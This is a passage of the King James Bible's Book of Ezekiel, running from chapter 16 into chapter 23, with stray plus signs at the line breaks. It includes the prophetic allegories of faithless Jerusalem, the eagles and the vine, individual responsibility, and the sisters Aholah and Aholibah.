hast taken thy sons and thy daughters, whom thou +hast borne unto me, and these hast thou sacrificed unto them to be +devoured. Is this of thy whoredoms a small matter, 16:21 That thou +hast slain my children, and delivered them to cause them to pass +through the fire for them? 16:22 And in all thine abominations and +thy whoredoms thou hast not remembered the days of thy youth, when +thou wast naked and bare, and wast polluted in thy blood. + +16:23 And it came to pass after all thy wickedness, (woe, woe unto +thee! saith the LORD GOD;) 16:24 That thou hast also built unto thee +an eminent place, and hast made thee an high place in every street. + +16:25 Thou hast built thy high place at every head of the way, and +hast made thy beauty to be abhorred, and hast opened thy feet to every +one that passed by, and multiplied thy whoredoms. + +16:26 Thou hast also committed fornication with the Egyptians thy +neighbours, great of flesh; and hast increased thy whoredoms, to +provoke me to anger. + +16:27 Behold, therefore I have stretched out my hand over thee, and +have diminished thine ordinary food, and delivered thee unto the will +of them that hate thee, the daughters of the Philistines, which are +ashamed of thy lewd way. + +16:28 Thou hast played the whore also with the Assyrians, because thou +wast unsatiable; yea, thou hast played the harlot with them, and yet +couldest not be satisfied. + +16:29 Thou hast moreover multiplied thy fornication in the land of +Canaan unto Chaldea; and yet thou wast not satisfied therewith. + +16:30 How weak is thine heart, saith the LORD GOD, seeing thou doest +all these things, the work of an imperious whorish woman; 16:31 In +that thou buildest thine eminent place in the head of every way, and +makest thine high place in every street; and hast not been as an +harlot, in that thou scornest hire; 16:32 But as a wife that +committeth adultery, which taketh strangers instead of her husband! +16:33 They give gifts to all whores: but thou givest thy gifts to all +thy lovers, and hirest them, that they may come unto thee on every +side for thy whoredom. + +16:34 And the contrary is in thee from other women in thy whoredoms, +whereas none followeth thee to commit whoredoms: and in that thou +givest a reward, and no reward is given unto thee, therefore thou art +contrary. + +16:35 Wherefore, O harlot, hear the word of the LORD: 16:36 Thus saith +the Lord GOD; Because thy filthiness was poured out, and thy nakedness +discovered through thy whoredoms with thy lovers, and with all the +idols of thy abominations, and by the blood of thy children, which +thou didst give unto them; 16:37 Behold, therefore I will gather all +thy lovers, with whom thou hast taken pleasure, and all them that thou +hast loved, with all them that thou hast hated; I will even gather +them round about against thee, and will discover thy nakedness unto +them, that they may see all thy nakedness. + +16:38 And I will judge thee, as women that break wedlock and shed +blood are judged; and I will give thee blood in fury and jealousy. + +16:39 And I will also give thee into their hand, and they shall throw +down thine eminent place, and shall break down thy high places: they +shall strip thee also of thy clothes, and shall take thy fair jewels, +and leave thee naked and bare. + +16:40 They shall also bring up a company against thee, and they shall +stone thee with stones, and thrust thee through with their swords. + +16:41 And they shall burn thine houses with fire, and execute +judgments upon thee in the sight of many women: and I will cause thee +to cease from playing the harlot, and thou also shalt give no hire any +more. + +16:42 So will I make my fury toward thee to rest, and my jealousy +shall depart from thee, and I will be quiet, and will be no more +angry. + +16:43 Because thou hast not remembered the days of thy youth, but hast +fretted me in all these things; behold, therefore I also will +recompense thy way upon thine head, saith the Lord GOD: and thou shalt +not commit this lewdness above all thine abominations. + +16:44 Behold, every one that useth proverbs shall use this proverb +against thee, saying, As is the mother, so is her daughter. + +16:45 Thou art thy mother's daughter, that lotheth her husband and her +children; and thou art the sister of thy sisters, which lothed their +husbands and their children: your mother was an Hittite, and your +father an Amorite. + +16:46 And thine elder sister is Samaria, she and her daughters that +dwell at thy left hand: and thy younger sister, that dwelleth at thy +right hand, is Sodom and her daughters. + +16:47 Yet hast thou not walked after their ways, nor done after their +abominations: but, as if that were a very little thing, thou wast +corrupted more than they in all thy ways. + +16:48 As I live, saith the Lord GOD, Sodom thy sister hath not done, +she nor her daughters, as thou hast done, thou and thy daughters. + +16:49 Behold, this was the iniquity of thy sister Sodom, pride, +fulness of bread, and abundance of idleness was in her and in her +daughters, neither did she strengthen the hand of the poor and needy. + +16:50 And they were haughty, and committed abomination before me: +therefore I took them away as I saw good. + +16:51 Neither hath Samaria committed half of thy sins; but thou hast +multiplied thine abominations more than they, and hast justified thy +sisters in all thine abominations which thou hast done. + +16:52 Thou also, which hast judged thy sisters, bear thine own shame +for thy sins that thou hast committed more abominable than they: they +are more righteous than thou: yea, be thou confounded also, and bear +thy shame, in that thou hast justified thy sisters. + +16:53 When I shall bring again their captivity, the captivity of Sodom +and her daughters, and the captivity of Samaria and her daughters, +then will I bring again the captivity of thy captives in the midst of +them: 16:54 That thou mayest bear thine own shame, and mayest be +confounded in all that thou hast done, in that thou art a comfort unto +them. + +16:55 When thy sisters, Sodom and her daughters, shall return to their +former estate, and Samaria and her daughters shall return to their +former estate, then thou and thy daughters shall return to your former +estate. + +16:56 For thy sister Sodom was not mentioned by thy mouth in the day +of thy pride, 16:57 Before thy wickedness was discovered, as at the +time of thy reproach of the daughters of Syria, and all that are round +about her, the daughters of the Philistines, which despise thee round +about. + +16:58 Thou hast borne thy lewdness and thine abominations, saith the +LORD. + +16:59 For thus saith the Lord GOD; I will even deal with thee as thou +hast done, which hast despised the oath in breaking the covenant. + +16:60 Nevertheless I will remember my covenant with thee in the days +of thy youth, and I will establish unto thee an everlasting covenant. + +16:61 Then thou shalt remember thy ways, and be ashamed, when thou +shalt receive thy sisters, thine elder and thy younger: and I will +give them unto thee for daughters, but not by thy covenant. + +16:62 And I will establish my covenant with thee; and thou shalt know +that I am the LORD: 16:63 That thou mayest remember, and be +confounded, and never open thy mouth any more because of thy shame, +when I am pacified toward thee for all that thou hast done, saith the +Lord GOD. + +17:1 And the word of the LORD came unto me, saying, 17:2 Son of man, +put forth a riddle, and speak a parable unto the house of Israel; 17:3 +And say, Thus saith the Lord GOD; A great eagle with great wings, +longwinged, full of feathers, which had divers colours, came unto +Lebanon, and took the highest branch of the cedar: 17:4 He cropped off +the top of his young twigs, and carried it into a land of traffick; he +set it in a city of merchants. + +17:5 He took also of the seed of the land, and planted it in a +fruitful field; he placed it by great waters, and set it as a willow +tree. + +17:6 And it grew, and became a spreading vine of low stature, whose +branches turned toward him, and the roots thereof were under him: so +it became a vine, and brought forth branches, and shot forth sprigs. + +17:7 There was also another great eagle with great wings and many +feathers: and, behold, this vine did bend her roots toward him, and +shot forth her branches toward him, that he might water it by the +furrows of her plantation. + +17:8 It was planted in a good soil by great waters, that it might +bring forth branches, and that it might bear fruit, that it might be a +goodly vine. + +17:9 Say thou, Thus saith the Lord GOD; Shall it prosper? shall he not +pull up the roots thereof, and cut off the fruit thereof, that it +wither? it shall wither in all the leaves of her spring, even without +great power or many people to pluck it up by the roots thereof. + +17:10 Yea, behold, being planted, shall it prosper? shall it not +utterly wither, when the east wind toucheth it? it shall wither in the +furrows where it grew. + +17:11 Moreover the word of the LORD came unto me, saying, 17:12 Say +now to the rebellious house, Know ye not what these things mean? tell +them, Behold, the king of Babylon is come to Jerusalem, and hath taken +the king thereof, and the princes thereof, and led them with him to +Babylon; 17:13 And hath taken of the king's seed, and made a covenant +with him, and hath taken an oath of him: he hath also taken the mighty +of the land: 17:14 That the kingdom might be base, that it might not +lift itself up, but that by keeping of his covenant it might stand. + +17:15 But he rebelled against him in sending his ambassadors into +Egypt, that they might give him horses and much people. Shall he +prosper? shall he escape that doeth such things? or shall he break the +covenant, and be delivered? 17:16 As I live, saith the Lord GOD, +surely in the place where the king dwelleth that made him king, whose +oath he despised, and whose covenant he brake, even with him in the +midst of Babylon he shall die. + +17:17 Neither shall Pharaoh with his mighty army and great company +make for him in the war, by casting up mounts, and building forts, to +cut off many persons: 17:18 Seeing he despised the oath by breaking +the covenant, when, lo, he had given his hand, and hath done all these +things, he shall not escape. + +17:19 Therefore thus saith the Lord GOD; As I live, surely mine oath +that he hath despised, and my covenant that he hath broken, even it +will I recompense upon his own head. + +17:20 And I will spread my net upon him, and he shall be taken in my +snare, and I will bring him to Babylon, and will plead with him there +for his trespass that he hath trespassed against me. + +17:21 And all his fugitives with all his bands shall fall by the +sword, and they that remain shall be scattered toward all winds: and +ye shall know that I the LORD have spoken it. + +17:22 Thus saith the Lord GOD; I will also take of the highest branch +of the high cedar, and will set it; I will crop off from the top of +his young twigs a tender one, and will plant it upon an high mountain +and eminent: 17:23 In the mountain of the height of Israel will I +plant it: and it shall bring forth boughs, and bear fruit, and be a +goodly cedar: and under it shall dwell all fowl of every wing; in the +shadow of the branches thereof shall they dwell. + +17:24 And all the trees of the field shall know that I the LORD have +brought down the high tree, have exalted the low tree, have dried up +the green tree, and have made the dry tree to flourish: I the LORD +have spoken and have done it. + +18:1 The word of the LORD came unto me again, saying, 18:2 What mean +ye, that ye use this proverb concerning the land of Israel, saying, +The fathers have eaten sour grapes, and the children's teeth are set +on edge? 18:3 As I live, saith the Lord GOD, ye shall not have +occasion any more to use this proverb in Israel. + +18:4 Behold, all souls are mine; as the soul of the father, so also +the soul of the son is mine: the soul that sinneth, it shall die. + +18:5 But if a man be just, and do that which is lawful and right, 18:6 +And hath not eaten upon the mountains, neither hath lifted up his eyes +to the idols of the house of Israel, neither hath defiled his +neighbour's wife, neither hath come near to a menstruous woman, 18:7 +And hath not oppressed any, but hath restored to the debtor his +pledge, hath spoiled none by violence, hath given his bread to the +hungry, and hath covered the naked with a garment; 18:8 He that hath +not given forth upon usury, neither hath taken any increase, that hath +withdrawn his hand from iniquity, hath executed true judgment between +man and man, 18:9 Hath walked in my statutes, and hath kept my +judgments, to deal truly; he is just, he shall surely live, saith the +Lord GOD. + +18:10 If he beget a son that is a robber, a shedder of blood, and that +doeth the like to any one of these things, 18:11 And that doeth not +any of those duties, but even hath eaten upon the mountains, and +defiled his neighbour's wife, 18:12 Hath oppressed the poor and needy, +hath spoiled by violence, hath not restored the pledge, and hath +lifted up his eyes to the idols, hath committed abomination, 18:13 +Hath given forth upon usury, and hath taken increase: shall he then +live? he shall not live: he hath done all these abominations; he shall +surely die; his blood shall be upon him. + +18:14 Now, lo, if he beget a son, that seeth all his father's sins +which he hath done, and considereth, and doeth not such like, 18:15 +That hath not eaten upon the mountains, neither hath lifted up his +eyes to the idols of the house of Israel, hath not defiled his +neighbour's wife, 18:16 Neither hath oppressed any, hath not +withholden the pledge, neither hath spoiled by violence, but hath +given his bread to the hungry, and hath covered the naked with a +garment, 18:17 That hath taken off his hand from the poor, that hath +not received usury nor increase, hath executed my judgments, hath +walked in my statutes; he shall not die for the iniquity of his +father, he shall surely live. + +18:18 As for his father, because he cruelly oppressed, spoiled his +brother by violence, and did that which is not good among his people, +lo, even he shall die in his iniquity. + +18:19 Yet say ye, Why? doth not the son bear the iniquity of the +father? When the son hath done that which is lawful and right, and +hath kept all my statutes, and hath done them, he shall surely live. + +18:20 The soul that sinneth, it shall die. The son shall not bear the +iniquity of the father, neither shall the father bear the iniquity of +the son: the righteousness of the righteous shall be upon him, and the +wickedness of the wicked shall be upon him. + +18:21 But if the wicked will turn from all his sins that he hath +committed, and keep all my statutes, and do that which is lawful and +right, he shall surely live, he shall not die. + +18:22 All his transgressions that he hath committed, they shall not be +mentioned unto him: in his righteousness that he hath done he shall +live. + +18:23 Have I any pleasure at all that the wicked should die? saith the +Lord GOD: and not that he should return from his ways, and live? +18:24 But when the righteous turneth away from his righteousness, and +committeth iniquity, and doeth according to all the abominations that +the wicked man doeth, shall he live? All his righteousness that he +hath done shall not be mentioned: in his trespass that he hath +trespassed, and in his sin that he hath sinned, in them shall he die. + +18:25 Yet ye say, The way of the LORD is not equal. Hear now, O house +of Israel; Is not my way equal? are not your ways unequal? 18:26 When +a righteous man turneth away from his righteousness, and committeth +iniquity, and dieth in them; for his iniquity that he hath done shall +he die. + +18:27 Again, when the wicked man turneth away from his wickedness that +he hath committed, and doeth that which is lawful and right, he shall +save his soul alive. + +18:28 Because he considereth, and turneth away from all his +transgressions that he hath committed, he shall surely live, he shall +not die. + +18:29 Yet saith the house of Israel, The way of the LORD is not equal. +O house of Israel, are not my ways equal? are not your ways unequal? +18:30 Therefore I will judge you, O house of Israel, every one +according to his ways, saith the Lord GOD. Repent, and turn yourselves +from all your transgressions; so iniquity shall not be your ruin. + +18:31 Cast away from you all your transgressions, whereby ye have +transgressed; and make you a new heart and a new spirit: for why will +ye die, O house of Israel? 18:32 For I have no pleasure in the death +of him that dieth, saith the Lord GOD: wherefore turn yourselves, and +live ye. + +19:1 Moreover take thou up a lamentation for the princes of Israel, +19:2 And say, What is thy mother? A lioness: she lay down among lions, +she nourished her whelps among young lions. + +19:3 And she brought up one of her whelps: it became a young lion, and +it learned to catch the prey; it devoured men. + +19:4 The nations also heard of him; he was taken in their pit, and +they brought him with chains unto the land of Egypt. + +19:5 Now when she saw that she had waited, and her hope was lost, then +she took another of her whelps, and made him a young lion. + +19:6 And he went up and down among the lions, he became a young lion, +and learned to catch the prey, and devoured men. + +19:7 And he knew their desolate palaces, and he laid waste their +cities; and the land was desolate, and the fulness thereof, by the +noise of his roaring. + +19:8 Then the nations set against him on every side from the +provinces, and spread their net over him: he was taken in their pit. + +19:9 And they put him in ward in chains, and brought him to the king +of Babylon: they brought him into holds, that his voice should no more +be heard upon the mountains of Israel. + +19:10 Thy mother is like a vine in thy blood, planted by the waters: +she was fruitful and full of branches by reason of many waters. + +19:11 And she had strong rods for the sceptres of them that bare rule, +and her stature was exalted among the thick branches, and she appeared +in her height with the multitude of her branches. + +19:12 But she was plucked up in fury, she was cast down to the ground, +and the east wind dried up her fruit: her strong rods were broken and +withered; the fire consumed them. + +19:13 And now she is planted in the wilderness, in a dry and thirsty +ground. + +19:14 And fire is gone out of a rod of her branches, which hath +devoured her fruit, so that she hath no strong rod to be a sceptre to +rule. This is a lamentation, and shall be for a lamentation. + +20:1 And it came to pass in the seventh year, in the fifth month, the +tenth day of the month, that certain of the elders of Israel came to +enquire of the LORD, and sat before me. + +20:2 Then came the word of the LORD unto me, saying, 20:3 Son of man, +speak unto the elders of Israel, and say unto them, Thus saith the +Lord GOD; Are ye come to enquire of me? As I live, saith the Lord GOD, +I will not be enquired of by you. + +20:4 Wilt thou judge them, son of man, wilt thou judge them? cause +them to know the abominations of their fathers: 20:5 And say unto +them, Thus saith the Lord GOD; In the day when I chose Israel, and +lifted up mine hand unto the seed of the house of Jacob, and made +myself known unto them in the land of Egypt, when I lifted up mine +hand unto them, saying, I am the LORD your God; 20:6 In the day that I +lifted up mine hand unto them, to bring them forth of the land of +Egypt into a land that I had espied for them, flowing with milk and +honey, which is the glory of all lands: 20:7 Then said I unto them, +Cast ye away every man the abominations of his eyes, and defile not +yourselves with the idols of Egypt: I am the LORD your God. + +20:8 But they rebelled against me, and would not hearken unto me: they +did not every man cast away the abominations of their eyes, neither +did they forsake the idols of Egypt: then I said, I will pour out my +fury upon them, to accomplish my anger against them in the midst of +the land of Egypt. + +20:9 But I wrought for my name's sake, that it should not be polluted +before the heathen, among whom they were, in whose sight I made myself +known unto them, in bringing them forth out of the land of Egypt. + +20:10 Wherefore I caused them to go forth out of the land of Egypt, +and brought them into the wilderness. + +20:11 And I gave them my statutes, and shewed them my judgments, which +if a man do, he shall even live in them. + +20:12 Moreover also I gave them my sabbaths, to be a sign between me +and them, that they might know that I am the LORD that sanctify them. + +20:13 But the house of Israel rebelled against me in the wilderness: +they walked not in my statutes, and they despised my judgments, which +if a man do, he shall even live in them; and my sabbaths they greatly +polluted: then I said, I would pour out my fury upon them in the +wilderness, to consume them. + +20:14 But I wrought for my name's sake, that it should not be polluted +before the heathen, in whose sight I brought them out. + +20:15 Yet also I lifted up my hand unto them in the wilderness, that I +would not bring them into the land which I had given them, flowing +with milk and honey, which is the glory of all lands; 20:16 Because +they despised my judgments, and walked not in my statutes, but +polluted my sabbaths: for their heart went after their idols. + +20:17 Nevertheless mine eye spared them from destroying them, neither +did I make an end of them in the wilderness. + +20:18 But I said unto their children in the wilderness, Walk ye not in +the statutes of your fathers, neither observe their judgments, nor +defile yourselves with their idols: 20:19 I am the LORD your God; walk +in my statutes, and keep my judgments, and do them; 20:20 And hallow +my sabbaths; and they shall be a sign between me and you, that ye may +know that I am the LORD your God. + +20:21 Notwithstanding the children rebelled against me: they walked +not in my statutes, neither kept my judgments to do them, which if a +man do, he shall even live in them; they polluted my sabbaths: then I +said, I would pour out my fury upon them, to accomplish my anger +against them in the wilderness. + +20:22 Nevertheless I withdrew mine hand, and wrought for my name's +sake, that it should not be polluted in the sight of the heathen, in +whose sight I brought them forth. + +20:23 I lifted up mine hand unto them also in the wilderness, that I +would scatter them among the heathen, and disperse them through the +countries; 20:24 Because they had not executed my judgments, but had +despised my statutes, and had polluted my sabbaths, and their eyes +were after their fathers' idols. + +20:25 Wherefore I gave them also statutes that were not good, and +judgments whereby they should not live; 20:26 And I polluted them in +their own gifts, in that they caused to pass through the fire all that +openeth the womb, that I might make them desolate, to the end that +they might know that I am the LORD. + +20:27 Therefore, son of man, speak unto the house of Israel, and say +unto them, Thus saith the Lord GOD; Yet in this your fathers have +blasphemed me, in that they have committed a trespass against me. + +20:28 For when I had brought them into the land, for the which I +lifted up mine hand to give it to them, then they saw every high hill, +and all the thick trees, and they offered there their sacrifices, and +there they presented the provocation of their offering: there also +they made their sweet savour, and poured out there their drink +offerings. + +20:29 Then I said unto them, What is the high place whereunto ye go? +And the name whereof is called Bamah unto this day. + +20:30 Wherefore say unto the house of Israel, Thus saith the Lord GOD; +Are ye polluted after the manner of your fathers? and commit ye +whoredom after their abominations? 20:31 For when ye offer your +gifts, when ye make your sons to pass through the fire, ye pollute +yourselves with all your idols, even unto this day: and shall I be +enquired of by you, O house of Israel? As I live, saith the Lord GOD, +I will not be enquired of by you. + +20:32 And that which cometh into your mind shall not be at all, that +ye say, We will be as the heathen, as the families of the countries, +to serve wood and stone. + +20:33 As I live, saith the Lord GOD, surely with a mighty hand, and +with a stretched out arm, and with fury poured out, will I rule over +you: 20:34 And I will bring you out from the people, and will gather +you out of the countries wherein ye are scattered, with a mighty hand, +and with a stretched out arm, and with fury poured out. + +20:35 And I will bring you into the wilderness of the people, and +there will I plead with you face to face. + +20:36 Like as I pleaded with your fathers in the wilderness of the +land of Egypt, so will I plead with you, saith the Lord GOD. + +20:37 And I will cause you to pass under the rod, and I will bring you +into the bond of the covenant: 20:38 And I will purge out from among +you the rebels, and them that transgress against me: I will bring them +forth out of the country where they sojourn, and they shall not enter +into the land of Israel: and ye shall know that I am the LORD. + +20:39 As for you, O house of Israel, thus saith the Lord GOD; Go ye, +serve ye every one his idols, and hereafter also, if ye will not +hearken unto me: but pollute ye my holy name no more with your gifts, +and with your idols. + +20:40 For in mine holy mountain, in the mountain of the height of +Israel, saith the Lord GOD, there shall all the house of Israel, all +of them in the land, serve me: there will I accept them, and there +will I require your offerings, and the firstfruits of your oblations, +with all your holy things. + +20:41 I will accept you with your sweet savour, when I bring you out +from the people, and gather you out of the countries wherein ye have +been scattered; and I will be sanctified in you before the heathen. + +20:42 And ye shall know that I am the LORD, when I shall bring you +into the land of Israel, into the country for the which I lifted up +mine hand to give it to your fathers. + +20:43 And there shall ye remember your ways, and all your doings, +wherein ye have been defiled; and ye shall lothe yourselves in your +own sight for all your evils that ye have committed. + +20:44 And ye shall know that I am the LORD when I have wrought with +you for my name's sake, not according to your wicked ways, nor +according to your corrupt doings, O ye house of Israel, saith the Lord +GOD. + +20:45 Moreover the word of the LORD came unto me, saying, 20:46 Son of +man, set thy face toward the south, and drop thy word toward the +south, and prophesy against the forest of the south field; 20:47 And +say to the forest of the south, Hear the word of the LORD; Thus saith +the Lord GOD; Behold, I will kindle a fire in thee, and it shall +devour every green tree in thee, and every dry tree: the flaming flame +shall not be quenched, and all faces from the south to the north shall +be burned therein. + +20:48 And all flesh shall see that I the LORD have kindled it: it +shall not be quenched. + +20:49 Then said I, Ah Lord GOD! they say of me, Doth he not speak +parables? 21:1 And the word of the LORD came unto me, saying, 21:2 +Son of man, set thy face toward Jerusalem, and drop thy word toward +the holy places, and prophesy against the land of Israel, 21:3 And say +to the land of Israel, Thus saith the LORD; Behold, I am against thee, +and will draw forth my sword out of his sheath, and will cut off from +thee the righteous and the wicked. + +21:4 Seeing then that I will cut off from thee the righteous and the +wicked, therefore shall my sword go forth out of his sheath against +all flesh from the south to the north: 21:5 That all flesh may know +that I the LORD have drawn forth my sword out of his sheath: it shall +not return any more. + +21:6 Sigh therefore, thou son of man, with the breaking of thy loins; +and with bitterness sigh before their eyes. + +21:7 And it shall be, when they say unto thee, Wherefore sighest thou? +that thou shalt answer, For the tidings; because it cometh: and every +heart shall melt, and all hands shall be feeble, and every spirit +shall faint, and all knees shall be weak as water: behold, it cometh, +and shall be brought to pass, saith the Lord GOD. + +21:8 Again the word of the LORD came unto me, saying, 21:9 Son of man, +prophesy, and say, Thus saith the LORD; Say, A sword, a sword is +sharpened, and also furbished: 21:10 It is sharpened to make a sore +slaughter; it is furbished that it may glitter: should we then make +mirth? it contemneth the rod of my son, as every tree. + +21:11 And he hath given it to be furbished, that it may be handled: +this sword is sharpened, and it is furbished, to give it into the hand +of the slayer. + +21:12 Cry and howl, son of man: for it shall be upon my people, it +shall be upon all the princes of Israel: terrors by reason of the +sword shall be upon my people: smite therefore upon thy thigh. + +21:13 Because it is a trial, and what if the sword contemn even the +rod? it shall be no more, saith the Lord GOD. + +21:14 Thou therefore, son of man, prophesy, and smite thine hands +together. and let the sword be doubled the third time, the sword of +the slain: it is the sword of the great men that are slain, which +entereth into their privy chambers. + +21:15 I have set the point of the sword against all their gates, that +their heart may faint, and their ruins be multiplied: ah! it is made +bright, it is wrapped up for the slaughter. + +21:16 Go thee one way or other, either on the right hand, or on the +left, whithersoever thy face is set. + +21:17 I will also smite mine hands together, and I will cause my fury +to rest: I the LORD have said it. + +21:18 The word of the LORD came unto me again, saying, 21:19 Also, +thou son of man, appoint thee two ways, that the sword of the king of +Babylon may come: both twain shall come forth out of one land: and +choose thou a place, choose it at the head of the way to the city. + +21:20 Appoint a way, that the sword may come to Rabbath of the +Ammonites, and to Judah in Jerusalem the defenced. + +21:21 For the king of Babylon stood at the parting of the way, at the +head of the two ways, to use divination: he made his arrows bright, he +consulted with images, he looked in the liver. + +21:22 At his right hand was the divination for Jerusalem, to appoint +captains, to open the mouth in the slaughter, to lift up the voice +with shouting, to appoint battering rams against the gates, to cast a +mount, and to build a fort. + +21:23 And it shall be unto them as a false divination in their sight, +to them that have sworn oaths: but he will call to remembrance the +iniquity, that they may be taken. + +21:24 Therefore thus saith the Lord GOD; Because ye have made your +iniquity to be remembered, in that your transgressions are discovered, +so that in all your doings your sins do appear; because, I say, that +ye are come to remembrance, ye shall be taken with the hand. + +21:25 And thou, profane wicked prince of Israel, whose day is come, +when iniquity shall have an end, 21:26 Thus saith the Lord GOD; Remove +the diadem, and take off the crown: this shall not be the same: exalt +him that is low, and abase him that is high. + +21:27 I will overturn, overturn, overturn, it: and it shall be no +more, until he come whose right it is; and I will give it him. + +21:28 And thou, son of man, prophesy and say, Thus saith the Lord GOD +concerning the Ammonites, and concerning their reproach; even say +thou, The sword, the sword is drawn: for the slaughter it is +furbished, to consume because of the glittering: 21:29 Whiles they see +vanity unto thee, whiles they divine a lie unto thee, to bring thee +upon the necks of them that are slain, of the wicked, whose day is +come, when their iniquity shall have an end. + +21:30 Shall I cause it to return into his sheath? I will judge thee in +the place where thou wast created, in the land of thy nativity. + +21:31 And I will pour out mine indignation upon thee, I will blow +against thee in the fire of my wrath, and deliver thee into the hand +of brutish men, and skilful to destroy. + +21:32 Thou shalt be for fuel to the fire; thy blood shall be in the +midst of the land; thou shalt be no more remembered: for I the LORD +have spoken it. + +22:1 Moreover the word of the LORD came unto me, saying, 22:2 Now, +thou son of man, wilt thou judge, wilt thou judge the bloody city? +yea, thou shalt shew her all her abominations. + +22:3 Then say thou, Thus saith the Lord GOD, The city sheddeth blood +in the midst of it, that her time may come, and maketh idols against +herself to defile herself. + +22:4 Thou art become guilty in thy blood that thou hast shed; and hast +defiled thyself in thine idols which thou hast made; and thou hast +caused thy days to draw near, and art come even unto thy years: +therefore have I made thee a reproach unto the heathen, and a mocking +to all countries. + +22:5 Those that be near, and those that be far from thee, shall mock +thee, which art infamous and much vexed. + +22:6 Behold, the princes of Israel, every one were in thee to their +power to shed blood. + +22:7 In thee have they set light by father and mother: in the midst of +thee have they dealt by oppression with the stranger: in thee have +they vexed the fatherless and the widow. + +22:8 Thou hast despised mine holy things, and hast profaned my +sabbaths. + +22:9 In thee are men that carry tales to shed blood: and in thee they +eat upon the mountains: in the midst of thee they commit lewdness. + +22:10 In thee have they discovered their fathers' nakedness: in thee +have they humbled her that was set apart for pollution. + +22:11 And one hath committed abomination with his neighbour's wife; +and another hath lewdly defiled his daughter in law; and another in +thee hath humbled his sister, his father's daughter. + +22:12 In thee have they taken gifts to shed blood; thou hast taken +usury and increase, and thou hast greedily gained of thy neighbours by +extortion, and hast forgotten me, saith the Lord GOD. + +22:13 Behold, therefore I have smitten mine hand at thy dishonest gain +which thou hast made, and at thy blood which hath been in the midst of +thee. + +22:14 Can thine heart endure, or can thine hands be strong, in the +days that I shall deal with thee? I the LORD have spoken it, and will +do it. + +22:15 And I will scatter thee among the heathen, and disperse thee in +the countries, and will consume thy filthiness out of thee. + +22:16 And thou shalt take thine inheritance in thyself in the sight of +the heathen, and thou shalt know that I am the LORD. + +22:17 And the word of the LORD came unto me, saying, 22:18 Son of man, +the house of Israel is to me become dross: all they are brass, and +tin, and iron, and lead, in the midst of the furnace; they are even +the dross of silver. + +22:19 Therefore thus saith the Lord GOD; Because ye are all become +dross, behold, therefore I will gather you into the midst of +Jerusalem. + +22:20 As they gather silver, and brass, and iron, and lead, and tin, +into the midst of the furnace, to blow the fire upon it, to melt it; +so will I gather you in mine anger and in my fury, and I will leave +you there, and melt you. + +22:21 Yea, I will gather you, and blow upon you in the fire of my +wrath, and ye shall be melted in the midst therof. + +22:22 As silver is melted in the midst of the furnace, so shall ye be +melted in the midst thereof; and ye shall know that I the LORD have +poured out my fury upon you. + +22:23 And the word of the LORD came unto me, saying, 22:24 Son of man, +say unto her, Thou art the land that is not cleansed, nor rained upon +in the day of indignation. + +22:25 There is a conspiracy of her prophets in the midst thereof, like +a roaring lion ravening the prey; they have devoured souls; they have +taken the treasure and precious things; they have made her many widows +in the midst thereof. + +22:26 Her priests have violated my law, and have profaned mine holy +things: they have put no difference between the holy and profane, +neither have they shewed difference between the unclean and the clean, +and have hid their eyes from my sabbaths, and I am profaned among +them. + +22:27 Her princes in the midst thereof are like wolves ravening the +prey, to shed blood, and to destroy souls, to get dishonest gain. + +22:28 And her prophets have daubed them with untempered morter, seeing +vanity, and divining lies unto them, saying, Thus saith the Lord GOD, +when the LORD hath not spoken. + +22:29 The people of the land have used oppression, and exercised +robbery, and have vexed the poor and needy: yea, they have oppressed +the stranger wrongfully. + +22:30 And I sought for a man among them, that should make up the +hedge, and stand in the gap before me for the land, that I should not +destroy it: but I found none. + +22:31 Therefore have I poured out mine indignation upon them; I have +consumed them with the fire of my wrath: their own way have I +recompensed upon their heads, saith the Lord GOD. + +23:1 The word of the LORD came again unto me, saying, 23:2 Son of man, +there were two women, the daughters of one mother: 23:3 And they +committed whoredoms in Egypt; they committed whoredoms in their youth: +there were their breasts pressed, and there they bruised the teats of +their virginity. + +23:4 And the names of them were Aholah the elder, and Aholibah her +sister: and they were mine, and they bare sons and daughters. Thus +were their names; Samaria is Aholah, and Jerusalem Aholibah. + +23:5 And Aholah played the harlot when she was mine; and she doted on +her lovers, on the Assyrians her neighbours, 23:6 Which were clothed +with blue, captains and rulers, all of them desirable young men, +horsemen riding upon horses. + +23:7 Thus she committed her whoredoms with them, with all them that +were the chosen men of Assyria, and with all on whom she doted: with +all their idols she defiled herself. + +23:8 Neither left she her whoredoms brought from Egypt: for in her +youth they lay with her, and they bruised the breasts of her +virginity, and poured their whoredom upon her. + +23:9 Wherefore I have delivered her into the hand of her lovers, into +the hand of the Assyrians, upon whom she doted. + +23:10 These discovered her nakedness: they took her sons and her +daughters, and slew her with the sword: and she became famous among +women; for they had executed judgment upon her. + +23:11 And when her sister Aholibah saw this, she was more corrupt in +her inordinate love than she, and in her whoredoms more than her +sister in her whoredoms. + +23:12 She doted upon the Assyrians her neighbours, captains and rulers +clothed most gorgeously, horsemen riding upon horses, all of them +desirable young men. + +23:13 Then I saw that she was defiled, that they took both one way, +23:14 And that she increased her whoredoms: for when she saw men +pourtrayed upon the wall, the images of the Chaldeans pourtrayed with +vermilion, 23:15 Girded with girdles upon their loins, exceeding in +dyed attire upon their heads, all of them princes to look to, after +the manner of the Babylonians of Chaldea, the land of their nativity: +23:16 And as soon as she saw them with her eyes, she doted upon them, +and sent messengers unto them into Chaldea. + +23:17 And the Babylonians came to her into the bed of love, and they +defiled her with their whoredom, and she was polluted with them, and +her mind was alienated from them. + +23:18 So she discovered her whoredoms, and discovered her nakedness: +then my mind was alienated from her, like as my mind was alienated +from her sister. + +23:19 Yet she multiplied her whoredoms, in calling to remembrance the +days of her youth, wherein she had played the harlot in the land of +Egypt. + +23:20 For she doted upon their paramours, whose flesh is as the flesh +of asses, and whose issue is like the issue of horses. + +23:21 Thus thou calledst to remembrance the lewdness of thy youth, in +bruising thy teats by the Egyptians for the paps of thy youth. + +23:22 Therefore, O Aholibah, thus saith the Lord GOD; Behold, I will +raise up thy lovers against thee, from whom thy mind is alienated, and +I will bring them against thee on every side; 23:23 The Babylonians, +and all the Chaldeans, Pekod, and Shoa, and Koa, and all the Assyrians +with them: all of them desirable young men, captains and rulers, great +lords and renowned, all of them riding upon horses. + +23:24 And they shall come against thee with chariots, wagons, and +wheels, and with an assembly of people, which shall set against thee +buckler and shield and helmet round about: and I will set judgment +before them, and they shall judge thee according to their judgments. + +23:25 And I will set my jealousy against thee, and they shall deal +furiously with thee: they shall take away thy nose and thine ears; and +thy remnant shall fall by the sword: they shall take thy sons and thy +daughters; and thy residue shall be devoured by the fire. + +23:26 They shall also strip thee out of thy clothes, and take away thy +fair jewels. + +23:27 Thus will I make thy lewdness to cease from thee, and thy 